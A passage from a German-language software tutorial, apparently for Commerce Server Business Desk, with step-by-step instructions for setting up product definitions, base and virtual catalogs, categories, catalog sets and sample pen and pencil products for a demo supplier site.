    Funktion | Aktion
    Name | Geben Sie Stiftart ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Standardwert Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Multiplechoicewerte wird angezeigt.
  3. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Kugelschreiber ein, und klicken Sie dann auf Hinzufügen.
  4. Geben Sie im Textfeld Neuer Wert des Dialogfelds Multiplechoicewerte den Wert Filzstift ein, und klicken Sie dann auf Hinzufügen.

    Die Werte Kugelschreiber und Filzstift werden in der Liste Werte des Dialogfelds Multiplechoicewerte angezeigt.

  5. Klicken Sie auf OK, um die Multiplechoicewerte Stiftart zu speichern und zum Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) zurückzukehren.
  6. Wählen Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Eigenschaften aus der Dropdownliste Standardwert den Eintrag Kugelschreiber aus.
  7. Klicken Sie im Kontrollkästchen In Produktliste anzeigen auf Ja.
  8. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Multiplechoice) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Art des Stiftes ein.
  9. Klicken Sie auf Annehmen.
  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Eigenschaftsdefinition Stiftart zu speichern und zum Bildschirm Produktdefinition: Neu zurückzukehren.

    Der Bildschirm Produktdefinition: Neu wird angezeigt. Die Eigenschaften Stiftfarbe, Hersteller, SKU, Tintenfarbe und Stiftart werden im Bereich Produktvarianteneigenschaften im Listenfeld Zugewiesene Eigenschaften angezeigt. Mithilfe einer einmal erstellten Eigenschaftsdefinition können Sie ein beliebiges Produkt für jeden Katalog in Ihrer Site definieren.

    Sie haben nun die Eigenschaftsdefinition Stiftart erstellt, mit deren Hilfe Sie die Art des Produkts Stift beschreiben können.

  11. Klicken Sie auf Speichern und zurück, um die Produktdefinition Stift zu speichern und zum Bildschirm Katalogdefinitions-Designer: Produktdefinitionen zurückzukehren.

    Die Produktdefinitionen Stift und Bleistift werden im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen in der Liste Name angezeigt.

Nachdem Sie nun die Produktdefinitionen erstellt haben, fahren Sie mit Lektion 2: Erstellen von Basiskatalogen für Produktgruppen fort, in der Sie einen Basiskatalog für jede Produktgruppe erstellen werden.


Lektion 2: Erstellen von Basiskatalogen für Produktgruppen

In dieser Lektion erstellen Sie separate Basiskataloge für die beiden Produktgruppen Büroartikel und Bürogeräte.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, sodass sie in der nachstehend aufgeführten Reihenfolge durchgearbeitet werden sollten:

  • Schritt 1: Erstellen des Basiskatalogs "Büroartikel"
  • Schritt 2: Erstellen des Basiskatalogs "Bürogeräte"


Schritt 1: Erstellen des Basiskatalogs "Büroartikel"

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt.

  2. Klicken Sie auf der Symbolleiste auf Neu, und wählen Sie aus der Liste die Option Neuer Basiskatalog.
  3. Führen Sie im Bildschirm Katalogeigenschaften – Neuer Basiskatalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Büroartikel ein.
    Währung | Wählen Sie in der Dropdownliste die Option Euro – EUR aus.
    Eindeutige Produkt-ID Wählen Sie in der Dropdownliste die Option Marke aus.

    Hinweis

    • Der Wert dieser Eigenschaft muss für jedes Produkt eindeutig sein.
    Eindeutige Produktvarianten-ID Wählen Sie in der Dropdownliste die Option SKU aus.

    Hinweis

    • Der Wert dieser Eigenschaft muss für jede Produktvariante eindeutig sein.

    Hinweis

    • Da für dieses Szenario keine mehrsprachigen Kataloge verwendet werden, ist es nicht unbedingt erforderlich, im Bereich Katalogsprachen des Bildschirms Neuer Basiskatalog eine Standardsprache zu konfigurieren. Wenn als Katalogsprache die Standardsprache von Windows 2000 verwendet werden soll, muss auf dem Computer, auf dem Commerce Server ausgeführt wird, keine Standardsprache konfiguriert werden. Wenn für einen Katalog keine Standardsprache konfiguriert ist, wird die Windows 2000-Standardsprache des Computers verwendet, auf dem Commerce Server ausgeführt wird. Im Rahmen dieses Lernprogramms konfigurieren Sie eine Standardsprache.

So konfigurieren Sie die Standardkatalogsprache

Innerhalb dieses Lernprogramms wählen Sie Deutsch (Deutschland) als Standardsprache für den Basiskatalog Büroartikel aus.

  1. Erweitern Sie im Bildschirm Katalogeigenschaften – Neuer Basiskatalog den Bereich Katalogsprachen, und klicken Sie auf Hinzufügen.
  2. Klicken Sie im Dialogfeld Sprache auswählen in der Liste Sprachen auf Deutsch (Deutschland), und klicken Sie auf Hinzufügen.

    Die ausgewählte Sprache wird im Bereich Katalogsprachen des Bildschirms Katalogeigenschaften – Neuer Basiskatalog in der Liste Sprachen angezeigt.

  3. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Standardsprache auf Deutsch (Deutschland).
  4. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Berichtssprache auf Deutsch (Deutschland).
  5. Klicken Sie auf Speichern und zurück, um den Basiskatalog Büroartikel zu speichern, und zum Bildschirm Kataloge zurückzukehren.

    Der Bildschirm Kataloge wird angezeigt. Büroartikel wird in der Spalte Name des Bildschirms Kataloge angezeigt.

Sie haben nun den Basiskatalog Büroartikel erstellt. Fahren Sie mit Schritt 2: Erstellen des Basiskatalogs "Bürogeräte" fort.


Schritt 2: Erstellen des Basiskatalogs "Bürogeräte"

  1. Klicken Sie in Business Desk im Modul "Kataloge" auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu, und wählen Sie aus der Liste die Option Neuer Basiskatalog.
  3. Führen Sie im Bildschirm Katalogeigenschaften – Neuer Basiskatalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Bürogeräte ein.
    Währung | Wählen Sie in der Dropdownliste die Option Euro – EUR aus.
    Eindeutige Produkt-ID | Wählen Sie in der Dropdownliste die Option Marke aus.
    Eindeutige Produktvarianten-ID | Wählen Sie in der Dropdownliste die Option SKU aus.

So konfigurieren Sie die Standardkatalogsprache

Innerhalb dieses Lernprogramms wählen Sie Deutsch (Deutschland) als Standardsprache für den Basiskatalog Bürogeräte aus.

  1. Erweitern Sie den Bereich Katalogsprachen, und klicken Sie auf Hinzufügen.
  2. Klicken Sie im Dialogfeld Sprache auswählen in der Liste Sprachen auf Deutsch (Deutschland), und klicken Sie auf Hinzufügen.

    Die ausgewählte Sprache wird im Bereich Katalogsprachen des Bildschirms Katalogeigenschaften – Neuer Basiskatalog in der Liste Sprachen angezeigt.

  3. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Standardsprache auf Deutsch (Deutschland).
  4. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Berichtssprache auf Deutsch (Deutschland).
  5. Klicken Sie auf Speichern und zurück, um den Basiskatalog Bürogeräte zu speichern, und zum Bildschirm Kataloge zurückzukehren.

    Der Bildschirm Kataloge wird angezeigt. Bürogeräte wird in der Spalte Name des Bildschirms Kataloge angezeigt.

Nachdem Sie nun den Basiskatalog Bürogeräte erstellt haben, fahren Sie mit Lektion 3: Erstellen eines virtuellen Katalogs für die SupplierAD-Site fort.


Lektion 3: Erstellen eines virtuellen Katalogs für die SupplierAD-Site

Durch die Verwendung von virtuellen Katalogen können auf einer Website verschiedene Basiskataloge so angezeigt werden, als würde es sich dabei um einen einzigen Katalog handeln. In dieser Lektion erstellen Sie einen virtuellen Katalog und ergänzen diesen um die Basiskataloge Büroartikel und Bürogeräte, die Sie in Lektion 2: Erstellen von Basiskatalogen für Produktgruppen erstellt haben.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen des virtuellen Katalogs
  • Schritt 2: Hinzufügen von Basiskatalogen zum virtuellen Katalog
  • Schritt 3: Erneutes Erstellen des virtuellen Katalogs


Schritt 1: Erstellen des virtuellen Katalogs

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neuer virtueller Katalog aus.
  3. Führen Sie im Bildschirm Katalogeigenschaften – Neuer virtueller Katalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name Geben Sie Virtueller Katalog ein.
    Hinweis
    • Dies ist der Name, der als Katalogname in der SupplierAD-Site angezeigt wird. Der Name "Virtueller Katalog" soll im Rahmen dieses Lernprogramms die Erkennung in der Site erleichtern. Im Normalfall würden Sie hier jedoch einen aussagekräftigeren Namen eingeben.
    Währung | Wählen Sie in der Dropdownliste die Option Euro – EUR aus.

So konfigurieren Sie die Standardkatalogsprache

  1. Wählen Sie Deutsch (Deutschland) als Standardsprache für den virtuellen Katalog aus.
  2. Erweitern Sie den Bereich Katalogsprachen, und klicken Sie auf Hinzufügen.
  3. Klicken Sie im Dialogfeld Sprache auswählen in der Liste Sprachen auf Deutsch (Deutschland), und klicken Sie auf Hinzufügen.

    Die ausgewählte Sprache wird im Bereich Katalogsprachen des Bildschirms Katalogeigenschaften – Neuer Basiskatalog in der Liste Sprachen angezeigt.

  4. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Standardsprache auf Deutsch (Deutschland).
  5. Klicken Sie im Bereich Katalogsprachen in der Dropdownliste Berichtssprache auf Deutsch (Deutschland).

So zeigen Sie den Bereich "Sicherheit" an

  1. Erweitern Sie den Bereich Sicherheit.

    Die Schaltfläche Berechtigungen im Bereich Sicherheit ist nicht verfügbar. Bevor Sie Berechtigungen für den virtuellen Katalog festlegen können, müssen Sie den virtuellen Katalog zunächst speichern.

  2. Klicken Sie auf der Symbolleiste auf Speichern.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt. Sobald die Meldung ausgeblendet wird, fahren Sie mit dem nächsten Schritt fort.

  3. Erweitern Sie den Bereich Sicherheit.

    Die Schaltfläche Berechtigungen im Bereich Sicherheit ist nun verfügbar.

  4. Klicken Sie auf Berechtigungen.

    Das Dialogfeld Konten wird angezeigt.

    Hinweis

    • Die Benutzer und Benutzergruppen mit Zugriff auf den Katalog werden im Feld Konto des Dialogfelds Konten angezeigt. Informationen zum Sichern der Kataloge und Module erhalten Sie in Kurs 4 dieses Lernprogramms.
  5. Klicken Sie im Dialogfeld Konten auf Schließen.
  6. Klicken Sie auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

    Virtueller Katalog wird in der Liste Gefilterte Ansicht des Bildschirms Kataloge angezeigt.

Sie haben nun den virtuellen Katalog erstellt. Fahren Sie mit Schritt 2: Hinzufügen von Basiskatalogen zum virtuellen Katalog fort, in dem Sie dem virtuellen Katalog die Basiskataloge Büroartikel und Bürogeräte hinzufügen werden.


Schritt 2: Hinzufügen von Basiskatalogen zum virtuellen Katalog

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Virtueller Katalog aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.

    Der Bildschirm Kataloginhalt – Virtueller Katalog (Deutsch (Deutschland)) wird angezeigt.

  3. Klicken Sie im Bereich Hinzufügen/löschen auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Katalog Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Katalogauswahl wird angezeigt.

    Wählen Sie im Dialogfeld Katalogauswahl im Listenfeld Katalog den Eintrag Büroartikel aus, und klicken Sie auf Auswählen.
    Regel | Wählen Sie in der Dropdownliste die Option Katalog einschließen aus.
  4. Klicken Sie auf Fertig.

    In der Spalte Katalog des Bereichs Hinzufügen/löschen im Bildschirm Kataloginhalt – Virtueller Katalog (Deutsch (Deutschland)) wird der Eintrag Büroartikel angezeigt.

  5. Klicken Sie im Bereich Hinzufügen/löschen auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Katalog Klicken Sie auf Auslassungsschaltfläche.

    Das Dialogfeld Katalogauswahl wird angezeigt.

    Wählen Sie im Dialogfeld Katalogauswahl im Listenfeld Katalog den Eintrag Bürogeräte aus, und klicken Sie auf Auswählen.
    Regel | Wählen Sie in der Dropdownliste die Option Katalog einschließen aus.
  6. Klicken Sie auf Fertig.

    Bürogeräte wird in der Spalte Katalog des Bereichs Hinzufügen/löschen angezeigt.

  7. Klicken Sie auf Speichern und zurück, um die Änderungen an Ihrem virtuellen Katalog zu speichern und zum Bildschirm Kataloge zurückzukehren.

Damit haben Sie Ihrem virtuellen Katalog die Kataloge Büroartikel und Bürogeräte hinzugefügt. Fahren Sie mit Schritt 3: Erneutes Erstellen des virtuellen Katalogs fort.


Schritt 3: Erneutes Erstellen des virtuellen Katalogs

Wenn Sie Änderungen an einem virtuellen Katalog vornehmen (beispielsweise einen Basiskatalog, Kategorien oder Produkte in den Katalog einschließen oder einen der eingeschlossenen Basiskataloge bearbeiten), müssen Sie den virtuellen Katalog anschließend neu erstellen. In diesem Fall haben Sie dem virtuellen Katalog die Basiskataloge Büroartikel und Bürogeräte hinzugefügt und alle benötigten Kategorien erstellt, sodass Sie nun den virtuellen Katalog neu erstellen müssen.

So erstellen Sie den virtuellen Katalog neu

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt.

    Hinweise

    • Durch die Meldung Neuerstellung erforderlich in der Spalte Status der Zeile Virtueller Katalog wird angegeben, dass der Katalog neu erstellt werden muss.
    • Wenn Sie einen virtuellen Katalog neu erstellen, werden gleichzeitig alle geänderten Basiskataloge, die im virtuellen Katalog enthalten sind, neu erstellt.
  2. Wählen Sie in der Liste Gefilterte Ansicht den Eintrag Virtueller Katalog aus, und klicken Sie auf Neu erstellen, um die Kataloge neu zu erstellen und in der Site zu veröffentlichen.
  3. Klicken Sie im Dialogfeld Business Desk: Katalog neu erstellen auf OK, um das Dialogfeld zu schließen und mit der Bearbeitung fortzufahren.

    Im Bildschirm Kataloge wird in der Spalte Status in der Zeile Virtueller Katalog der Status Neuerstellung angezeigt. Um eventuelle Änderungen des Status verfolgen zu können, müssen Sie den Bildschirm aktualisieren. Warten Sie, bis Commerce Server den Katalog neu erstellt hat, und fahren Sie dann mit dem nächsten Schritt fort.

  4. Um den Bildschirm zu aktualisieren, klicken Sie im Modul "Kataloge" auf Katalog-Editor.

Der Bildschirm wird aktualisiert, und in der Zeile Virtueller Katalog wird nun die Statusmeldung Aktualisiert angezeigt. Fahren Sie mit Lektion 4: Erstellen von Kategorien für die SupplierAD-Site fort.


Lektion 4: Erstellen von Kategorien für die SupplierAD-Site

In dieser Lektion erstellen Sie für den Katalog Büroartikel die Kategorien Stifte und Bleistifte und für den Katalog Bürogeräte die Kategorie Drucker. Anschließend erstellen Sie den virtuellen Katalog neu. Mithilfe dieser Kategorien organisieren Sie Ihre Produkte auf der SupplierAD-Site.

  • Schritt 1: Erstellen von Kategorien für den Katalog "Büroartikel"
  • Schritt 2: Erstellen von Kategorien für den Katalog "Bürogeräte"
  • Schritt 3: Erneutes Erstellen und Aktualisieren Ihres virtuellen Katalogs


Schritt 1: Erstellen von Kategorien für den Katalog "Büroartikel"

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt.

  2. Wählen Sie in der Liste Gefilterte Ansicht den Basiskatalog Büroartikel aus, und klicken Sie auf der Symbolleiste auf Katalog öffnen.

    Der Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) wird angezeigt.

  3. Erweitern Sie den Bereich Kategorien, und klicken Sie auf Neu.
  4. Wählen Sie im Dialogfeld Neue Kategorie den Eintrag Bleistifte aus, und klicken Sie anschließend auf Weiter.
  5. Führen Sie im Bildschirm Katalog-Editor – Büroartikel (Deutsch (Deutschland)) – Neu (Bleistifte) im Bereich Kategorieeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Bleistifte ein.
    Angezeigter Name | Geben Sie Kategorie Bleistifte ein.
    Beschreibung | Geben Sie Die Kategorie "Bleistifte" ein.
    Suche aktivieren | Aktivieren Sie das Kontrollkästchen Ja.
  6. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die Kategorie zu speichern und eine neue Kategorie für diesen Basiskatalog zu erstellen.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt. Sobald die Meldung ausgeblendet wird, fahren Sie mit dem nächsten Schritt fort.

  7. Führen Sie im Bildschirm Katalog-Editor – Büroartikel (Deutsch (Deutschland)) – Neu (Bleistifte) im Bereich Kategorieeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Stifte ein.
    Angezeigter Name | Geben Sie Kategorie Stifte ein.
    Beschreibung | Geben Sie Die Kategorie "Stifte" ein.
    Suche aktivieren | Aktivieren Sie das Kontrollkästchen Ja.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um diese Kategorie zu speichern und zum Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) zurückzukehren.

    Der Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) wird angezeigt. Im Bereich Kategorien des Bildschirms Kataloginhalt – Büroartikel (Deutsch (Deutschland)) werden in der Liste Kategorien die Kategorien Bleistifte und Stifte angezeigt.

  9. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Die neue Kategorie wird im Katalog Büroartikel erstellt. Fahren Sie mit Schritt 2: Erstellen von Kategorien für den Katalog "Bürogeräte" fort.


Schritt 2: Erstellen von Kategorien für den Katalog "Bürogeräte"

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge in der Liste Gefilterte Ansicht den Basiskatalog Bürogeräte aus, und klicken Sie dann auf der Symbolleiste auf Katalog öffnen.

    Der Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) wird angezeigt.

  3. Erweitern Sie den Bereich Kategorien, und klicken Sie auf Neu.
  4. Wählen Sie im Dialogfeld Neue Kategorie die Kategorie Drucker aus, und klicken Sie anschließend auf Weiter.
  5. Führen Sie im Bildschirm Katalog-Editor – Bürogeräte (Deutsch (Deutschland)) – Neu (Drucker) im Bereich Kategorieeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Drucker ein.
    Angezeigter Name | Geben Sie Kategorie Drucker ein.
    Beschreibung | Geben Sie Die Kategorie "Drucker" ein.
    Suche aktivieren | Aktivieren Sie das Kontrollkästchen Ja.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Kategorie zu speichern und zum Bildschirm Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) zurückzukehren.

    Daraufhin wird die Meldung Wird gespeichert, bitte warten und anschließend der Bildschirm Katalog-Editor – Bürogeräte (Deutsch (Deutschland)) angezeigt. Im Bereich Kategorien des Bildschirms Kataloginhalt – Bürogeräte (Deutsch (Deutschland)) wird in der Liste Kategorien die Kategorie Drucker angezeigt.

  7. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

    Im Bildschirm Kataloge wird in der Zeile Virtueller Katalog der Status Neuerstellung erforderlich angezeigt. Wenn Sie eine Kategorie hinzugefügt haben, müssen Sie den virtuellen Katalog zunächst neu erstellen, damit die Kategorie in der Website angezeigt wird. Fahren Sie mit Schritt 3: Erneutes Erstellen und Aktualisieren Ihres virtuellen Katalogs fort.


Schritt 3: Erneutes Erstellen und Aktualisieren Ihres virtuellen Katalogs

Wenn Sie Änderungen an einem virtuellen Katalog vornehmen (beispielsweise einen Basiskatalog, Kategorien oder Produkte in den Katalog hinzufügen oder einen der eingeschlossenen Basiskataloge bearbeiten), müssen Sie den virtuellen Katalog anschließend neu erstellen. Da Sie die Basiskataloge Büroartikel und Bürogeräte um neue Kategorien erweitert haben, müssen Sie Ihren virtuellen Katalog jetzt neu erstellen.

So erstellen Sie den virtuellen Katalog neu

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt.

    Hinweis Hinweise

    • Im Bildschirm Kataloge wird durch die Meldung Neuerstellung erforderlich in der Spalte Status der Zeile Virtueller Katalog angegeben, dass der Katalog neu erstellt werden muss.
    • Wenn Sie einen virtuellen Katalog neu erstellen, werden gleichzeitig alle geänderten Basiskataloge, die im virtuellen Katalog enthalten sind, neu erstellt.
  2. Wählen Sie Virtueller Katalog aus, und klicken Sie auf Neu erstellen, um die Kataloge neu zu erstellen und in der Site zu veröffentlichen.
  3. Klicken Sie im Dialogfeld Business Desk: Katalog neu erstellen auf OK, um das Dialogfeld zu schließen und mit der Bearbeitung fortzufahren.

    Im Bildschirm Kataloge wird in der Spalte Status in der Zeile Virtueller Katalog der Status Neuerstellung angezeigt.

  4. Um den Bildschirm zu aktualisieren, klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm wird aktualisiert, und in der Zeile Virtueller Katalog wird nun die Statusmeldung Aktualisiert angezeigt.

  5. Klicken Sie auf der Symbolleiste auf Aktualisieren, um Ihre Basiskataloge zu aktualisieren.

    Die Meldung Kataloge werden aktualisiert wird angezeigt.

Fahren Sie nach Abschluss der Aktualisierung mit Lektion 5: Erstellen von Katalogsätzen fort.


Lektion 5: Erstellen von Katalogsätzen

Katalogsätze sind Organisationseinheiten mit mindestens einem Katalog, die mindestens einen Basiskatalog enthalten, den Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen können.

Mithilfe von Katalogsätzen können Sie festlegen, welche Kataloge den Benutzern bzw. Benutzergruppen in Ihrer Site angezeigt werden. Weiterhin können Sie bestimmten Business Desk-Managern mit Zugang zu Business Desk den Zugriff auf Katalogsätze verweigern. Auf diese Art und Weise können Sie kontrollieren, welche Kataloge ein bestimmter Benutzer anzeigen und aktualisieren kann.

Hinweis

  • Katalogsätze sind eine wichtige Organisationseinheit. Da Organisationen und Benutzern nur der Zugriff auf einen Katalogsatz gewährt werden kann, ist es nicht möglich, ihnen den direkten Zugriff auf Basis- oder virtuelle Kataloge zu ermöglichen.

In dieser Lektion werden Sie mit dem Business Desk-Modul "Katalogsätze" für jede der beiden Produktgruppen Büroartikel und Bürogeräte je einen Katalogsatz erstellen. Anschließend weisen Sie die Basiskataloge beider Produktgruppen ihren eigenen Katalogsätzen zu. Später, in Kurs 4, richten Sie für bestimmte delegierte Administratoren beschränkte Zugriffsrechte für diese Katalogsätze ein.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Erstellen des Katalogsatzes "Büroartikel"
  • Schritt 2: Erstellen des Katalogsatzes "Bürogeräte"


Schritt 1: Erstellen des Katalogsatzes "Büroartikel"

  1. Klicken Sie im Modul "Kataloge" auf Katalogsätze.
  2. Klicken Sie im Bildschirm Katalogsätze auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neuer Katalogsatz folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Büroartikel ein.
    Beschreibung | Geben Sie Katalogsatz für die Produktgruppe "Büroartikel" ein.
    Verfügbare Kataloge Wählen Sie Büroartikel aus, und klicken Sie auf Hinzufügen.

    Im Listenfeld Zugewiesene Kataloge wird der Eintrag Büroartikel angezeigt.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Katalogsatz Büroartikel zu speichern, und zum Bildschirm Katalogsätze zurückzukehren.

    Der Bildschirm Katalogsätze wird angezeigt.

Sie haben den Katalogsatz Büroartikel erstellt und den Basiskatalog Büroartikel hinzugefügt. Fahren Sie mit Schritt 2: Erstellen des Katalogsatzes "Bürogeräte" fort.


Schritt 2: Erstellen des Katalogsatzes "Bürogeräte"

  1. Klicken Sie im Menü Kataloge auf Katalogsätze.
  2. Klicken Sie im Bildschirm Katalogsätze auf der Symbolleiste auf Neu.
  3. Führen Sie im Bildschirm Neuer Katalogsatz folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Bürogeräte ein.
    Beschreibung | Geben Sie Katalogsatz für die Produktgruppe "Bürogeräte" ein.
    Verfügbare Kataloge Wählen Sie Bürogeräte aus, und klicken Sie auf Hinzufügen.

    Im Listenfeld Zugewiesene Kataloge wird der Eintrag Bürogeräte angezeigt.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Katalogsatz Bürogeräte zu speichern, und zum Bildschirm Katalogsätze zurückzukehren.

    In der Spalte Name des Bildschirms Katalogsätze werden nun die Einträge Büroartikel und Bürogeräte angezeigt.

Sie haben nun einen Katalogsatz für jede Produktgruppe erstellt und jedem Katalogsatz den entsprechenden Basiskatalog zugewiesen. Fahren Sie mit Kurs 3: Hinzufügen von Produkten zu Katalogen fort


Kurs 3: Hinzufügen von Produkten zu Katalogen

In diesem Kurs fügen Sie den Basiskatalogen Büroartikel und Bürogeräte Produkte hinzu. Anschließend veröffentlichen Sie die Änderungen in Ihren Katalogen in der SupplierAD-Site.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten:

  • Lektion 1: Hinzufügen von Produkten zu Basiskatalogen
  • Lektion 2: Erneutes Erstellen und Veröffentlichen der Kataloge


Lektion 1: Hinzufügen von Produkten zu Basiskatalogen

In dieser Lektion fügen Sie dem Katalog Büroartikel Stift- und Bleistiftprodukte und dem Katalog Bürogeräte Druckerprodukte hinzu.

Im Folgenden sind die Schritte dieser Lektion aufgelistet. Die Schritte bauen jeweils aufeinander auf, Es ist wichtig, die Schritte in der vorgegebenen Reihenfolge auszuführen:

  • Schritt 1: Hinzufügen des Produkts "Kugelschreiber" zum Katalog "Büroartikel"
  • Schritt 2: Hinzufügen des Produkts "Filzstift" zum Katalog "Büroartikel"
  • Schritt 3: Hinzufügen des Produkts "Bleistift" zum Katalog "Büroartikel"
  • Schritt 4: Hinzufügen des Produkts "Drucker" zum Katalog "Bürogeräte"


Schritt 1: Hinzufügen des Produkts "Kugelschreiber" zum Katalog "Büroartikel"

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge in der Spalte Name den Eintrag Büroartikel aus, und klicken Sie dann auf der Symbolleiste auf Katalog öffnen, um den Katalog Büroartikel zu öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Neu.
  4. Wählen Sie im Dialogfeld Neues Produkt den Eintrag Stift aus der Liste aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bildschirm Katalog-Editor – Büroartikel (Deutsch (Deutschland)) – Neu (Stift) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Marke | Geben Sie Stift – Kugelschreiber ein.
    Name | Geben Sie Kugelschreiber ein.
    Beschreibung | Geben Sie Das Produkt "Kugelschreiber" ein.
  6. Erweitern Sie den Bereich Produktvarianten, klicken Sie auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie KS01 ein.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Schwarz aus.
    Hersteller | Geben Sie Büroartikel ein.
    Tintenfarbe | Wählen Sie in der Dropdownliste die Option Schwarz aus.
    Stiftart | Wählen Sie in der Dropdownliste die Option Kugelschreiber aus.
    Variantenpreis | Geben Sie 0,99 ein.
  7. Klicken Sie auf Fertig.

    In der Liste Produktvarianten wird das Produkt "Kugelschreiber", SKU KS01, angezeigt.

  8. Klicken Sie im Bereich Produktvarianten auf Neu, und führen Sie die folgenden Schritte aus:
    Funktion | Aktion
    SKU | Geben Sie KS02 ein.
    Stiftfarbe | Wählen Sie in der Dropdownliste die Option Blau aus.
    Hersteller | Geben Sie Büroartikel ein.
    Tintenfarbe | Wählen Sie in der Dropdownliste die Option Blau aus.
    Stiftart | Wählen Sie in der Dropdownliste die Option Kugelschreiber aus.
    Variantenpreis | Geben Sie 0,99 ein.
  9. Klicken Sie auf Fertig.

    In der Liste Produktvarianten wird das Produkt "Kugelschreiber", SKU KS02, angezeigt.

So weisen Sie dieses Produkt der Kategorie "Stifte" zu

  1. Erweitern Sie den Bereich Zugewiesene Kategorien.
  2. Wählen Sie im Bereich Zugewiesene Kategorien in der Liste Verfügbare Kategorien den Eintrag Stifte aus, und klicken Sie dann auf Hinzufügen.

    Die Kategorie Stifte wird in der Liste Zugewiesene Kategorien angezeigt.

So speichern Sie Ihre Änderungen

  1. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um zum Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) zurückzukehren.

    Die Meldung Wird gespeichert, bitte warten wird angezeigt.

  2. Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Das gerade erstellte Produkt Stift – Kugelschreiber wird im Bereich Produkte im Listenfeld Produkte angezeigt.

Fahren Sie mit Schritt 2: Hinzufügen des Produkts "Filzstift" zum Katalog "Büroartikel" fort, in dem Sie dem Basiskatalog zwei Varianten des Produkts "Filzstift" hinzufügen werden.


Schritt 2: Hinzufügen des Produkts "Filzstift" zum Katalog "Büroartikel"

